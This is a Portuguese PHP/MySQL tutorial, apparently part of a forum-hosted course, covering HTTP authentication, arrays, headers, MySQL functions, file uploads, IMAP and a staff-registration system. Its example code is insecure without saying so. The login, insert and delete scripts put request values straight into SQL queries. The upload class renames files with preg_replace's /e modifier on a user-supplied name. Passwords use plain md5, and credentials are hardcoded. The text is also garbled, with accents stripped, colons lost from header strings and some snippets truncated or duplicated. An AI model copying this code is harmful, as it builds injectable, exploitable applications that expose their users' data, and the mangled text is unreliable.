Autenticao via HTTP no PHP s disponvel quando o mesmo for executador como mdulo
do Apache e, portanto, no disponvel na verso CGI. Em um script PHP no mdulo Apache,
possvel usar a funo header() para enviar uma janela de entrada "Authentication Required".
Uma vez que o usurio preencheu seu nome de usurio e senha, a URL contendo o script PHP
ser chamada de novo com as variveis predefinidas PHP_AUTH_USER, PHP_AUTH_PW, e
AUTH_TYPE contendo o nome de usurio, senha e tipo de autenticao, respectivamente.
Essas variveis predefinidas so achadas nos arrays $_SERVER e $HTTP_SERVER_VARS.
Somente autenticao "Basic" (Bsica) suportada.
um exemplo simples :
<?
session_start();
function Autenticar()
{
header('WWW-Authenticate: Basic realm = "Area Restrita"');
header('HTTP/1.0 401 Unauthorized');
echo "<center><h1>Acesso Restrito</h1></center>";
exit;
}
function Confere_Login($nome, $senha)
{
mysql_connect("localhost", "usuario", "senha");
mysql_select_db("online");
$re = mysql_query("select count(*) as total from usuarios where nome = '$nome' and senha
= md5('$senha')");
mysql_close();
return mysql_result($re, 0, "total");
}
if ( !isset($_SERVER["PHP_AUTH_USER"]) and !isset($_SERVER["PHP_AUTH_PW"]) )
{
Autenticar();
}
else
{
$total = Confere_Login($_SERVER["PHP_AUTH_USER"], $_SERVER["PHP_AUTH_PW"]);
if ( $total == 0 )
{
Autenticar();
}
}
?>
Arrays
Um array no PHP atualmente um mapa ordenado. Um mapa um tipo que relaciona valores
para chaves. Este tipo otimizado de vrias maneiras, ento voc pode us-lo como um array
real, ou uma lista (vetor), hashtable (que uma implementao de mapa), dicionrio, coleo,
pilha, fila e provavelmente mais. Como voc pode ter outro array PHP como um valor, voc
pode facilmente simular rvores.
A explicao dessas estruturas esto alm do escopo desse manual, mas voc pode encontrar
exemplos para cada uma dessas estruturas a seguir. Para mais informaes sobre estruturas,
refira-se a literatura externa sobre esses tpicos.
Sintaxe
Especificando com array()
Um array pode ser criado com o construtor de linguagem array(). Ele pega um certo nmero
de pares separados por vrgula chave => valor .
array( [chave =>] valor
, ...
)
// chave pode ser tanto string ou um integer
// valor pode ser qualquer coisa
PHP
1. <?php
2. $arr = array("foo" => "bar", 12 => true);
3. echo $arr["foo"];
4. echo $arr[12];
5. ?>
A chave pode ser tanto um integer ou uma string. Se a chave uma representao padro de
um integer, ele ser interpretado assim (por exemplo, "8" ser interpretado como 8, enquanto
"08" ser interpretado como "08"). No h diferena entre arrais indexados e associativos em
PHP, apenas um tipo de array, que pode ter ndices inteiros ou string.
O valor pode ser qualquer tipo PHP:
PHP
1. <?php
2. $arr = array("somearray" => array(6 => 5, 13 => 9, "a" => 42));
3.
4. echo $arr["somearray"][6];
5. echo $arr["somearray"][13];
6. echo $arr["somearray"]["a"];
7. ?>
Se omitir a chave quando fornece um novo item, o maior ndice inteiro obtido, e a nova
chave ser esse mximo + 1. Se voc especificar uma chave que j possui um valor assimilada a
ela, ento o valor sobrescrito.
PHP
1. <?php
2. array(5 => 43, 32, 56, "b" => 12);
3.
4. array(5 => 43, 6 => 32, 7 => 56, "b" => 12);
5. ?>
O segundo caso especial o cabealho "Location:". No somente envia o seu cabealho para o
browser, mas tambm retorna cdigo de situao REDIRECT (302) para o browser a menos que
algum cdigo de situao 3xx j tenha sido definido.
PHP
1. <?php
2. header("Location//www.imasters.com.br"); ?>
Scripts PHP normalmente geram contedo dinamico que no deva ser guardado em cache
pelo browser do cliente ou qualquer cache de proxy entre o servidor e o browser do cliente.
Muitos proxies e clientes so forados a desabilitar o cache usando:
PHP
1. <?php
2. header("ExpiresMon, 26 Jul 1997 05:00:00 GMT");
3. header("Last-Modified" . gmdate("D, d M Y H:i:s") . " GMT");
4. header("Cache-Controlno-store, no-cache, must-revalidate");
5. header("Cache-Controlpost-check=0, pre-check=0", false);
6. header("Pragmano-cache");
7. ?>
Voc pode pensar que suas pginas no so colocadas em cache mesmo que voc no envie
todos os cabealhos acima. Existem vrias opes que os usurios podem definir em seus
browser que mudam o funcionamento do cache. Enviando os cabealhos acima, voc ir
sobrescrever qualquer definio que faa seu script ser colocado em cache.
Adicionalmente as configuraes, session_cache_limiter() e session.cache_limiter podem ser
usadas para gerar automaticamente os cabealhos corretos quando esto sendo usadas
sesses.
Lembre-se que header() deve ser utilizada antes que qualquer saida seja enviada, seja pelo
HTML, linhas ou espaos em branco em um arquivo, ou a partit do PHP. um erro muito
comum ler cdigo com a funo include(), ou require(), ou outra funo que acesse arquivos, e
ter espaos ou linhas em branco antes da funo header(). O mesmo problema existe quando
usar um arquivo PHP/HTML.
PHP
1. <html>
2. <?php
3. header('Location//www.example.com/');
4. ?>
Nota: A partir do PHP 4, voc pode usar o buffer de sada para contornar este problema, com a
sobrecarga que toda a sada do browser ser guardada em buffer no servidor at que
voc^envie ele. Voc poder fazer isso usando ob_start() e ob_end_flush() no seu script ou
definido a diretiva de configurao output_buffering no seu php.ini ou nos arquivos de
configurao do servidor.
Se voc queira que seja perguntado ao usurio para salvar os dados que voc esta enviando,
como um arquivo PDF gerado, voc pode usar o cabealho Content-Disposition para
recomendar um nome de arquivo e forar o browser a mostrar uma caixa salvar arquivo.
PHP
1. <?php
2. // Ns estaremos enviando um PDF
3. header('Content-typeapplication/pdf');
4. // Ser chamado downloaded.pdf
5. header('Content-Dispositionattachment; filename="downloaded.pdf"');
6. // A fonte do PDF original.
7. readfile('original.pdf');
8. ?>
Modulo 5
Interagindo com banco de dados (Mysql)
Introduo
o Breve Historia Mysql
o mysql_connect
o mysql_select_db
o mysql_query
o mysql_close
o mysql_fetch_array
o mysql_fetch_row
o mysql_fetch_object
o mysql_result
o mysql_error
o mysql_insert_id
o Comando basicos SQL
o [brinde] Sistema de cadastro para Livraria
Breve Historia Mysql
A derivao do nome MySQL foi criado apartir do prefixo "my" porque o pessoal do
desenvolvimento do mysql usava esse prefixo nos seus diretorios e inumeras bibliotecas e
ferramentas que eles usavam.
A filha de Monty Widenius ( criador do banco mysql ) tambm ganhou o nome My
O golfinho do MySQL (logo marca do mysql) Sakila. Sakila foi escolhido pelos fundadores da
MySQL AB de uma enorme lista de
nomes sugeridos pelos usurios em um concurso "Name the Dolphin". O nome vencedor foi
enviado por Ambrose Twebaze, um desenvolvedor
de programas open source de Swaziland, Africa. De acordo com Ambrose, o nome Sakila tem
as suas razes em SiSwati, a lngua local de
Swaziland. Sakila tambm o nome de uma cidade em Arusha, Tanzania, prxima ao pas de
orgem de Ambrose, Uganda.
mysql_connect
mysql_connect -- Abre uma conexao com o Mysql
mysql_connect("servidor", "usuario", "senha");
por padrao o mysql vem com usuario root e sem senha entao para conectar a primeira vez
mysql_query
mysql_query -- Realiza uma query MySQL
exemplo:
mysql_query("select * from tabela");
mysql_close
mysql_close -- Fecha a conexo com o MySQL
exemplo:
$link = mysql_connect('localhost', 'usuario', 'senha');
mysql_close($link);
mysql_fetch_array
mysql_fetch_array -- Busca o resultado de uma linha e o coloca como uma matriz associativa,
matriz numrica ou ambas.
exemplo:
mysql_connect("localhost", "usuario", "senha");
mysql_select_db("banco");
$re = mysql_query("SELECT * FROM tabela");
while ($l = mysql_fetch_array($re)) {
echo $l["campo"]."<br>";
}
mysql_fetch_row
mysql_fetch_row -- Retorna o resultado de uma linha numa matriz numrica
mysql_fetch_object
mysql_fetch_object -- Retorna o resultado de uma linha como um objeto
mysql_connect("localhost", "usuario", "senha");
mysql_select_db("banco");
$re = mysql_query("select * from tabela");
while ($l = mysql_fetch_object($re)) {
echo $l->campo."<br>";
}
mysql_result
mysql_result -- Retorna dados do resultado
mysql_connect("localhost", "usuario", "senha");
mysql_select_db("banco");
$re = mysql_query("select count(*) as total from tabela");
$total = mysql_result($re, 0, "total");
mysql_error
mysql_error -- Retorna o texto da mensagem de erro da operao anterior do MySQL
$link = mysql_connect("localhost", "usuario", "senha");
if (!$link) {
die('Erro: ' . mysql_error());
}
echo 'Conexao ok';
mysql_close($link);
mysql_insert_id
mysql_insert_id -- Retorna o ID gerado da operao INSERT anterior
SELECT [nome do campo | *] FROM [tabela] WHERE [campo] = [valor] ORDER BY [campo] [ASC
| DESC]
- SELECT = seleciona
- FROM = da/de/do
- WHERE = aonde
- ORDER BY = organizar por
- GROUP BY = funo de agrupamento
-|
= ou
- ASC = Ascendente
- DESC = Descendente
WHERE condicao for verdadeira
codicoes
- campo = valor
- campo > valor
- campo < valor
- campo >= valor
- campo <= valor
- campo like "%texto%" // % = qualquer caracter, _ = um unico caracter
- campo BETWEEN valor_minimo AND valor_maximo // BETWEEN = ENTRE UM E OUTRO
select * from usuarios where nome like "a%" and idade > 15;
+----+-------+-------+------+---------------------+
| id | nome | idade | sexo | data_cadastro |
+----+-------+-------+------+---------------------+
| 9 | andre | 20 | M | 2004-02-25 19:04:56 |
+----+-------+-------+------+---------------------+
mysql> select * from usuarios where idade < 30 order by nome desc;
+----+--------+-------+------+---------------------+
| id | nome | idade | sexo | data_cadastro |
+----+--------+-------+------+---------------------+
| 10 | Fabyo | 27 | M | 2004-03-27 19:10:35 |
| 1 | natan | 20 | M | 2004-03-27 18:07:25 |
| 8 | carlos | 20 | M | 2004-03-27 18:12:01 |
| 4 | carla | 20 | F | 2004-03-27 18:19:23 |
| 9 | andre | 20 | M | 2004-03-27 19:04:56 |
+----+--------+-------+------+---------------------+
mysql> select nome, idade, sexo from usuarios where idade between 20 and 30;
+--------+-------+------+
| nome | idade | sexo |
+--------+-------+------+
| natan | 20 | M |
| carlos | 20 | M |
| carla | 20 | F |
| raul | 30 | M |
| andre | 20 | M |
+--------+-------+------+
Modulo 6
Introduo
o Upload de Arquivos
o Conexo com banco de dados acess
o Funes matemticas
o Imap
Upload de Arquivos
Upload de arquivos com o mtodo POST O PHP capaz de receber o upload de qualquer
browser que siga a norma RFC-1867 (o que inclui Netscape Navigator 3 ou posterior, Microsoft
Internet Explorer 3 com um patch da Microsoft, ou posterior sem patch). Isto permite que se
faa o upload de arquivos de texto e binrios. Com as funes de autenticao e manipulao
de arquivos do PHP, voc tem o controle completo de quem pode fazer o upload de
arquivo e o que fazer com o arquivo aps seu upload.
Tenha certeza que seu formulrio de upload de arquivo tenha enctype="multipart/formdata" em outro caso o upload do arquivo no ir funcionar.
$_FILES['arquivo']['name']
O nome original do arquivo no computador do usurio.
$_FILES['arquivo']['type']
O tipo mime do arquivo, se o browser deu esta informao. Um exemplo pode ser
"image/gif".
$_FILES['arquivo']['size']
O tamanho, em bytes, do arquivo.
$_FILES['arquivo']['tmp_name']
O nome temporrio do arquivo, como foi guardado no servidor.
$_FILES['arquivo']['error']
is_uploaded_file
is_uploaded_file -- Diz se o arquivo foi enviado via HTTP POST
bool is_uploaded_file ( string filename)
Retorna TRUE se o arquivo com o nome filename foi uploaded via HTTP POST. Isto til para
ter certeza que um usurio malicioso, no est tentando
confundir o script em trabalhar em arquivos que no deve estar trabalhando --- por exemplo,
/etc/passwd.
Este tipo de confirmao importante principalmente se existe alguma chance que qualquer
coisa feita com os arquivos carregados poderiam revelar
o seu contedo para o usurio, ou mesmo para outros usurios no mesmo sistema.
is_uploaded_file() est disponvel somente em verses do PHP 3 depois da 3.0.16 e em verses
do PHP 4 posteriores a 4.0.2. Se voc ainda est utilizando
uma verso anterior, voc pode utilizar o seguinte cdigo para se proteger:
Nota: O exemplo seguinte no funcionar em verses do PHP posteriores a 4.0.2. Isto depende
de uma funcionalidade interna do PHP que mudou depois dessa verso.
PHP
1. <?php
2. /* Teste de arquivo carregado pelo usurio */
3. function is_uploaded_file($filename) {
4. if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
5. $tmp_file = dirname(tempnam('', ''));
6. }
7. $tmp_file .= '/' . basename($filename);
8. /* Pode haver uma barra no final do php.ini... */
9. return (ereg_replace('/+', '/', $tmp_file) == $filename);
10. }
11.
12. /* Utilize isto se por acaso voc no tiver
13. * move_uploaded_file() em verses antigas: */
14. if (is_uploaded_file($HTTP_POST_FILES['arquivo'])) {
15. [b]copy[/b]($HTTP_POST_FILES['arquivo'], "/place/to/put/uploaded/file");
16. } else {
17. echo "Possvel ataque de carregamento de arquivo:
filename '$HTTP_POST_FILES[arquivo]'.";
18. }
19. ?>
move_uploaded_file
(PHP 4 >= 4.0.3, PHP 5)
move_uploaded_file -- Move um arquivo carregado para uma nova localizao
Descrio
bool move_uploaded_file ( string nomedoarquivo, string destino)
Esta funo primeiro checa o arquivo informado nomedoarquivo um arquivo vlido
uploadeado (significando que ele foi carregado pelo mecanismo do
PHP de HTTP POST). Se o arquivo vlido, ele ser movido para o nomedoarquivo dado pelo
destino.
Se nomedoarquivo no um arquivo carregado vlido, ento no haver nenhuma ao e
move_uploaded_file() ir retornar FALSE.
Se nomedoarquivo um arquivo uploadeado vlido e no pode ser movido por alguma razo,
nenhuma ao ir ocorrer, e move_uploaded_file() ir retornar FALSE.
Adicionalmente, um aviso ser emitido.
Este tipo de confirmao importante principalmente se existe alguma chance que qualquer
coisa feita com os arquivos carregados poderem revelar o seu
contedo para o usurio, ou mesmo para outros usurios no mesmo sistema.
Nota: Quando o safe-mode est ativo, o PHP verifica se o(s) arquivo(s) e/ou diretrio(s) que
sero afetados por esta operao tem o mesmo UID (proprietrio) do
script que est sendo executado.
Nota: move_uploaded_file() no afetado pelas restries de UIN normais do safe mode. Isto
no inseguro porque move_uploaded_file() somente opera sobre arquivos
carregados pelo PHP.
Ateno
Se o arquivo destino j existir, ento ele ser sobrescrito.
Desde o PHP 4.2.0, PHP retorna um cdigo de erro apropriado na array do arquivo. O cdigo
de erro pode ser encontrado em ['error'] na array que criada durante o
upload do arquivo. Em outras palavras, o erro deve ser encontrado em
$_FILES['arquivo']['error'].
Tratamentos de Erros
UPLOAD_ERR_OK
Valor: 0; no houve erro, o upload foi bem sucedido.
UPLOAD_ERR_INI_SIZE
Valor 1; O arquivo no upload maior do que o limite definido em upload_max_filesize no
php.ini.
UPLOAD_ERR_FORM_SIZE
Valor: 2; O arquivo ultrapassa o limite de tamanho em MAX_FILE_SIZE que foi especificado no
formulrio HTML.
UPLOAD_ERR_PARTIAL
Valor: 3; o upload do arquivo foi feito parcialmente.
UPLOAD_ERR_NO_FILE
Valor: 4; No foi feito o upload do arquivo.
Nota: Estas tornaram-se constantes no PHP 4.3.0
Variveis de upload de arquivos HTTP: $_FILES
Nota: Introduzida na verso 4.1.0. Em verses anteriores, use $HTTP_POST_FILES.
Contm um array associativo dos itens carregador no script atual atravs do mtodo HTTP
POST.
Esta uma varivel 'superglobal', ou automaticamente global. Isto significa que ela
disponvel em todos os escopos (nveis) de um script. Voc no precisa fazer
um global $_FILES; para pode acess-la dentro de funes ou mtodos, como era necessrio
com $HTTP_FILES_VARS.
Exemplo de um upload:
<html>
<head>
<title>Upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data" name="form1">
<input type="file" name="arquivo">
<input type="submit" name="Submit" value="Enviar">
</form>
</body>
</html>
upload.php
<?
//Fabyo Guimaraes
class Upload
{
var $arquivo = "";
//array com os codigos dos erros de upload
var $erro = array ( "0" => "upload execultado com sucesso!",
"1" => "O arquivo maior que o permitido pelo Servidor",
"2" => "O arquivo maior que o permitido pelo formulario",
"3" => "O upload do arquivo foi feito parcialmente",
"4" => "No foi feito o upload do arquivo"
);
//funo que verifica se o arquivo foi enviado, e se obteve sucesso returna true e cria a
variavel para ser manipulado
function Verifica_Arquivo()
{
$this->arquivo = isset($_FILES['arquivo']) ? $_FILES['arquivo'] : FALSE;
return is_uploaded_file($this->arquivo['tmp_name']) ? true : false;
}
//funo que envia o arquivo para o servidor se nao existir a pasta no servidor ele cria obs:
linux usar chmod
function Envia_Arquivo()
{
// se o arquivo foi enviado corretamente ele envia
if($this->Verifica_Arquivo() == true)
{ set_time_limit(0);
$diretorio = "pasta/";
if(!file_exists($diretorio))
{
mkdir($diretorio);
}
//se ja existir ele renomeia o arquivo novo para nao sobrescrever o existente
while ( file_exists ( $diretorio.$this->arquivo['name'] ))
{
$this->arquivo['name'] = preg_replace ( "/^(.+?)(_?)(\d*)(\.[^.]+)?$/e", "'\$1_'.(\$3+1).'\$4'",
$this->arquivo['name']);
}
move_uploaded_file($this->arquivo['tmp_name'], $diretorio . $this->arquivo['name']);
Notem que essa classe cuida para obter sucesso no envio do arquivo ,mas ela no esta
tratando do tipo(type) de arquivo
caso voc queria enviar imagens para o servidor voc pode limitar tamanho, dimensao da
imagem e tipo de extensao
e se for arquivo voc pode limitar a extenso s para o tipo que voc quiser, caso tenha
duvidas em como tratar o tipo de arquivo s postar no forum.
Funes matemticas
abs
Retorna o valor Valor absoluto de um nmero.
Se o argumento nmero do tipo float, o nmero retornado tambm float
Exemplo:
<?php
$abs = abs(-4.2); // $abs = 4.2; (double/float)
$abs2 = abs(5); // $abs2 = 5; (inteiro)
$abs3 = abs(-5); // $abs3 = 5; (inteiro)
?>
<?php
echo round(3.4); // 3
echo round(3.5); // 4
echo round(3.6); // 4
echo round(3.6, 0); // 4
echo round(1.95583, 2); // 1.96
echo round(1241757, -3); // 1242000
echo round(5.045, 2); // 5.04
echo round(5.055, 2); // 5.06
?>
$b[10] = 11;
$result = count($
// $result == 3;
?>
Imap
O que IMAP?
O protocolo IMAP foi originalmente desenvolvido na Universidade de Stanford em 1986.
Trata-se de um mtodo de acesso a mensagens eletrnicas armazenadas em um servidor local
ou remoto.
IMAP quer dizer Internet Message Access Protocol [RFC 2060] e sua verso mais recente e' a
IMAP4rev1 [RFC 2060]
descomente a linha do php.ini extension=php_imap.dll
obs: nesse exemplo nao tem suporte a MIME
Nesse exemplo ele faz:
tratamento de erros
ve quantos emails voc tem
pega o assunto,remetente,data/hora e a mensagem
<?php
/* Fabyo Guimaraes
$servidor = "seu_servidor";
$usuario = "usuario";
$senha = "senha";
@ini_set('display_errors', '0');
$mbox = imap_open("{pop3.$servidor/pop3:110}", $usuario . "@" . $servidor, $senha ,
OP_HALFOPEN);
$erro[] = imap_last_error();
// testo se tem email no servidor
if ($erro[0] == "Mailbox is empty") {
echo "Nao tem nenhuma mensagem";
exit;
}
// verifico se esta certo o usuario e senha
elseif ($erro[0] == "POP3 connection broken in response") {
echo "Usuario ou a senha estao errados";
exit;
}
// testo se o servidor esta certo
elseif ($erro[0] == "Host not found (#11004): pop3.$servidor") {
echo "O servidor $servidor esta errado";
exit;
}
// se a $erro estiver vazia ele continua
if ($erro[0] == "") {
$numero_mensagens = imap_num_msg($mbox);
$numero_mens_nao_lidas = imap_num_recent($mbox);
if ($numero_mensagens == 1) {
echo "voc tem $numero_mensagens mensagem";
} else {
echo "voc tem $numero_mensagens mensagens";
}
echo "<br><br>";
for($i = 1;$i <= imap_num_msg($mbox);$i++) {
$headers = imap_header($mbox, $i);
$assunto = $headers->subject;
$message_id = $headers->message_id;
$toaddress = $headers->toaddress;
$to = $headers->to;
$remetente = $to[0]->personal;
$email_remetente = $to[0]->mailbox;
$servidor_remetente = $to[0]->host;
$data = $headers->date;
$data = strtotime($data);
$data = date("d/m/Y H:i:s", $data);
echo "Assunto = $assunto - Remetente = $email_remetente@$servidor_remetente Data =
$data <a href=\"imap.php?id=$i\">Ler Mensagem</a><br>";
}
echo "<br>";
if (isset($_GET["id"])) {
$id = $_GET["id"];
$mensagem = imap_fetchbody($mbox, $id, 1);
echo nl2br(quoted_printable_dequote($mensagem));
}
imap_close($mbox);
}
?>
mais detalhes:
http://br.php.net/ma...en/ref.imap.php
Modulo 7
Introduo
o Estatisticas
o Dicas diversas sobre funes php para usar com Mysql
o Dicas basicas sobre configurao do phpMyAdmin
o SQL
o Montando um sistema de cadastro de funcionarios
Estatisticas
Vamos aprender um pouco como pegar e tratar varias informaes uteis para ser usado em
determinados momentos
s lembrando que o php roda no servidor ento a maioria das informaes que voc conseguir
ser do prprio servidor
tirando as variaveis de ambiente.
E no falarei sobre as coisa basicas como contador e datas, vou mostrar outras funes pouco
conhecidas de alguns
Para pegar o IP do visitante:
$ip = $_SERVER["SERVER_ADDR"];
ou
$ip = getenv("REMOTE_ADDR");
<script language="javascript">
document.write("Resolucao
: ",screen.width,"x",screen.height,"<p>");
</script>
strtok() divide uma string (arg1) em strings menores (tokens), com cada token sendo
delimitado por
qualquer caractere de arg2. Quer dizer que, se voc tem uma string como "Esta uma string
de exemplo" voc
poderia "tokeniz-la" em suas palavras individuais usando o caractere de espao como
delimitador do token.
Para ver se o php esta sendo executado como modulo ou cgi:
$sapi_type = php_sapi_name();
if ($sapi_type == "cgi"){
print "Voc esta usando CGI PHP\n";
}else{
print "Voc no esta usando CGI PHP\n";
}
$charset = mysql_client_encoding($cn);
printf ("Conjunto atual de caracteres %s\n", $charset);
uma dica importante use mysql_unbuffered_query() no lugar do mysql_query()
quando for necessrio
exemplo:
mysql_connect("localhost", "Fabyo", "gisele");
mysql_select_db("banco");
$re = mysql_unbuffered_query("Select * from tabela");
while($l = mysql_fetch_array($re)){
echo $l["campo"];
}
mysql_unbuffered_query() envia uma query SQL para MySQL, sem retornar e colocar em
buffer as linhas do resultado automaticamente, como mysql_query() faz. por um lado, isto
salva uma quantidade considervel de memria em query que produzem um resultado
grandes. por outro lado, voc pode comer a trabalhar com o resultado imediatamente aps
a primeira linha ser retornada: voc no tem que esperar que toda a query SQL seja realizada.
Quando usar multiplas conexes com o banco de dados, voc deve especificar o parametro
opcional link_identifier.
Nota: Os beneficios de mysql_unbuffered_query() vem com um custo: voc no pode usar
mysql_num_rows() e mysql_data_seek() no resultado retornado por
mysql_unbuffered_query(). Voc tambm tem que pegar todas as linhas de uma query SQL
sem buffer antes de poder enviar uma nova query SQL para o MySQL.
$cfg['Servers'][$i]['user']
= 'root'; // MySQL user
$cfg['Servers'][$i]['password'] = ''; // MySQL password (only needed
$cfg['Servers'][$i]['auth_type']
cookie based)?
= 'http';
dai quando voc for entrar no phpMyAdmin ele ira pedir nome e senha
se for usar as funes novas do mysql o (mysqli) mude essa linha:
$cfg['Servers'][$i]['extension']
'mysqli')
= 'mysqli';
se desejar que aparea apenas 1 banco para ser acessado pelo phpMyAdmin
mude essa linha:
$cfg['Servers'][$i]['only_db']
= '';
SQL
Structured Query Language
Linguagem Estruturada de Consulta
SQL no uma linguagem para se desenvolver sistemas e sim para facilitar o acesso de
informaes, por meios de consultas, atualizaes e manipulaes de dados armazenados em
bancos de dados do tipo relacional.
um banco de dados do tipo relacional armazena os dados e informaes em tabelas que so
formadas por linhas e colunas.
Atualmente os programas de gerenciamento de banco de dados (SGDB - Sistema de
Gerenciamento de Banco de Dados) utilizam o SQL para consultas e manuseio de dados, mas
com pequenas diferenas entre cada SGBD
em funes e melhorias mas o principal a sintaxe SQL em todos eles como padro.
O SQL foi criado pela empresa IBM (Internacional Business Machine) sua primeira verso foi
criada em 1974, com o nome de Structured English Query Language(SEQUEL).
A Linguagem SQL composta por dois grupos de instrues utilizadas no processo
de administrao e controle de bancos de dados o DDL (Data Definition Language )
Linguagem de Definio de Dados e DML (Data Manipulation Language) Linguagem de
Manipulao de Dados.
As instrues do tipo DDl permite efetuar a criao das estruturas de tabelas, ndices e bancos
de dados como um todo, permite tambm efetuar auteraes nas estruturas criadas, e
remover estruturas.
Nesse grupo esto as instrues:
CREATE TABLE, DROP TABLE, ALTER TABLE, CREATE INDEX e DROP INDEX.
As instrues do tipo DML permitem efetuar a manipulao dos dados que estejam
armazenados nas tabelas de um determinado banco, dessa forma possivel cadastrar, alterar,
e excluir registros , nesse grupo se encontra:
INSERT, SELECT, UPDATE e DELETE.
De todos os comando existentes o comando SELECT o mais importante e utilizado, pois
com ele que se obtm a extrao de lista de informaes.
Os comando do tipo DML possuem uma grande variedades de aplicao.
Para que isso ocorra, eles operam com um grande conjunto de clusulas
FROM, WHERE, GROUP BY, HAVING e ORDER BY predefinidos que permitem efetuar a
aplicao de condies que autera a forma de funcionamento
Chave Primaria
O conceito de chave primria (ID) ou (PK) chave primaria em ingls ,est associado ao campo
ou conjunto de campos de uma tabela que possuir um nico valor, que no ser repetido.
Chave Estrangeira
Chave Estrangeira (FK) caracteriza-se por ser uma chave de uma tabela que possui associao
com chave primria de outra tabela.
Integridade referencial um mecanismo utilizado que evita a quebra de ligao entre os
relacionamentos estabelecidos entre as tabelas
apesar do mysql ainda nao ter esse recurso como padro ns podemos montar
a integridade referencial atraves do php ,como voc^vai ver no script de cadastro de
funcionarios no final do curso.
Criando um banco no mysql:
CREATE DATABASE banco
Criando a tabela:
O tipos temporal pode ser utilizado para o tratamento de valores relacionados a data e hora
DATE = Utilizado para guardar data no padro AAAA-MM-DD
TIME = Utilizado para guardar hora
DATETIME = Utilizado para guardar data e hora junto
Tipo literal
O tipo literal pode ser usado na recepo de valores baseados em cadeias de caracteres
(strings) dados alfa numericos
VARCHAR = caracter variavel
CHAR = caracter fixo
TEXT = para guardar textos grandes
no entrarei mais em detalhes sobre esse assunto porque est para extreiar o novo curso
online de MYSQL ento qualquer duvidas sobre esse assunto aguarde o curso
Montando um sistema de cadastro de funcionarios
criando uma tabela de funcionarios:
<?
mysql_query("
CREATE TABLE funcionarios (
id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT ,
nome VARCHAR( 40 ) NOT NULL ,
endereco VARCHAR( 64 ) NOT NULL ,
rg VARCHAR( 10 ) NOT NULL ,
cpf CHAR( 11 ) NOT NULL ,
data_registro DATE NOT NULL ,
fk_cargo SMALLINT UNSIGNED NOT NULL ,
salario DECIMAL( 10, 2 ) NOT NULL ,
casado SET( 'S', 'N' ) NOT NULL ,
dependentes SET( 'S', 'N' ) NOT NULL ,
data_nasc DATE NOT NULL ,
PRIMARY KEY ( id )
)");
?>
)");
?>
<?
mysql_connect("localhost", "Fabyo","gisele");
mysql_select_db("banco");
$re = mysql_query("SELECT * FROM CARGOS");
while($l = mysql_fetch_array($re))
{
$id = $l["id"];
$cargo = $l["cargo"];
echo "<option value=\"$id\">$cargo</option>";
}
?>
</select></td>
</tr>
<tr>
<td>Salario</td>
<td><input name="salario" type="text" id="salario"></td>
</tr>
<tr>
<td>Casado(a)</td>
<td><input name="casado" type="checkbox" id="casado" value="S">
Sim</td>
</tr>
<tr>
<td>Dependentes</td>
<td><input name="dependentes" type="checkbox" id="dependentes" value="S">
Sim</td>
</tr>
<tr>
<td>Data Nasc. </td>
<td><input name="data_nasci" type="text" id="data_nasci" size="10"
maxlength="10"></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" name="Submit" value="Salvar"></td>
</tr>
</table>
</form>
</body>
</html>
e proteja os dados tambem com javascript muito util para validar campos antes de enviar
procure por funes que validam cpf, cnpj, emails etc... ou faa voc mesmo
evite gravar dados repetidos antes de gravar faa uma busca se nao existir o dados dai sim
voc deixa gravar , e sobre integridade relacional quando voc por exemplo grava um
funcionario com cargo "ajudante" ,dai depois voc quer excluir o cargo "ajudante" da tabela
cargos, por logica no poderia ja que esse campo foi gravado como indicao para o
funcionario dai nao teria logica ele ser "ajudante" se o campo no existe mais ,e como o mysql
no tem esse recurso automatico voc pode montar um simples basta antes de executar a
excluso voc fazer uma pesquisa se esse campos esta gravado em algum lugar da tabela
funcionarios dai se no tiver voc deixa excluir se tiver voc da uma mensagem dizendo que
esse campos no pode ser excluido pois existe um relacionamento com ele.
dica final = nunca esquea de validar os campos nem sempre a pessoa vai digitar o que voc
espera que ela digite.
salvar.php:
<?
// seto as variaveis = N pq se o checbox nao for marcado ele nao existira
//entao sera gravado a opcao N = NAO, se o checbox for marcado ser salvo S
$casado = "N";
$dependentes = "N";
//aqui pego todos os dados e aina crio a variavel com o mesmo nome e tiro as tags html
foreach ($_POST as $campo => $valor) { $$campo = strip_tags($valor);}
mysql_connect("localhost");
mysql_select_db("banco");
mysql_query("INSERT INTO funcionarios VALUES ('', '$nome', '$endereco', '$rg', '$cpf', NOW(),
'$cargos', '$salario', '$casado', '$dependentes', '$data_nasci')");
mysql_close();
echo "salvo com sucesso";
?>
opcoes voc pode listar os funcionarios junto com as opes de editar e excluir usando o id
opcoes.php
<?
mysql_connect("localhost");
mysql_select_db("banco");
$re = mysql_query("SELECT * FROM funcionarios");
while($l = mysql_fetch_array($re))
{
$id = $l["id"];
$nome = $l["nome"];
echo "<a href=\"excluir.php?id=$id\">Excluir</a> | <a href=\"editar.php?id=$id\">Editar</a>
$nome<br />";
}
?>
excluir.php
<?
mysql_connect("localhost");
mysql_select_db("banco");
$id = $_GET["id"];
mysql_query("DELETE FROM funcionarios WHERE id= '$id'");
header("Location: opcao.php");
?>
Agora pra quem quiser acabar esse sistema de cadastro de funcionrios fica como parte dos
exercicios, no modulo passado eu dei um sistema completo com editar excluir e salvar caso
tenham duvidas s pesquisar nele
mas quem est acompanhando consegue ver que est ficando facil e no dificil acabar esse
sistema falta s o editar, listar ,criar um formulario pra salvar os cargos, e se quiser ainda pode
usar as dicas que eu dei acima e proteger o sistema contra excluso de dados relacionados e
valida os campos
quem quiser fazer e entregar ele ser avaliado e corrigido
s avisando pra quem no sabe o melhor usuario que esti er acompanhando as aulas e
participando dos exercicios ganhar um prmio surpresa e seu nome ficara numa lista dos que
concluiram o curso com sucesso, ficando at como referencia para vocs caso precisem
mostrar para algum cliente ou at seu futuro chefe o seu conhecimento em php.
Modulo 8
Introduo
o O que XML?
o Usando PHP com XML
o O que um parser DOM?
o Funes de Memria Compartilhada
O que XML?
XML (Extension Markup Language) uma linguagem de marcao de documentos e permite
que voc crie seus prprios conjuntos de elementos de marcao.
A XML faz o que seria a verdadeira funo de uma linguagem de marcao, que descrever
um documento,e no
como ele deve ser exibido.Com marcao personalizada da XML torna-se possivel a
estruturao de dados , que
posteriormente podero ser recuperados facilmente e utilizados de varias maneiras.
XML um padro definido pela The World Wide Web consortium (W3C). Informaes sobre
XML e tecnologias relacionadas pode, ser encontradas em
http://www.w3.org/xml/
exemplo de um documento XML:
